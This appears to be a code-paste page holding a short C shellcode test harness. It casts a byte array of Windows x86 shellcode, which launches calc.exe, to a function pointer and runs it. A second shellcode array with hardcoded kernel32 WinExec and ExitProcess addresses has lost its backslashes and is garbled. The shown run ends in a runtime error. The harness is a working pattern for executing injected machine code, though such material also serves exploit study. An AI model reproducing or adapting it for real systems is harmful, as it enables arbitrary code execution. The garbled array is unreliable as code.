fork download
  1. #include <stdio.h>
  2.  
  3. char code[] = "\xEB\x10\x58\x6A\x05\x50\xE8\x1B\x00\x00\x00\x6A\x00\xE8\x0E\x00"
  4. "\x00\x00\xE8\xEB\xFF\xFF\xFF\x63\x61\x6C\x63\x2E\x65\x78\x65\x00";
  5.  
  6. char sh[] =
  7. "x31xc0x50x68x63"
  8. "x61x6cx63x89xe3"
  9. "x50x53xbb"
  10. "xfdx29x86x7c" /*Kernel32.dll.WinExec*/
  11. "xffxd3x50xbb"
  12. "xfaxcax81x7c" /*Kernel32.dll.ExitProcess*/
  13. "xffxd3";
  14.  
  15.  
  16. int main(int argc, char *argv[])
  17. {
  18. //((void(*)())code)();
  19.  
  20. int (*func)();
  21. func = (int (*)()) code;
  22. (int)(*func)();
  23. }
Runtime error #stdin #stdout 0s 2164KB
stdin
Standard input is empty
stdout
Standard output is empty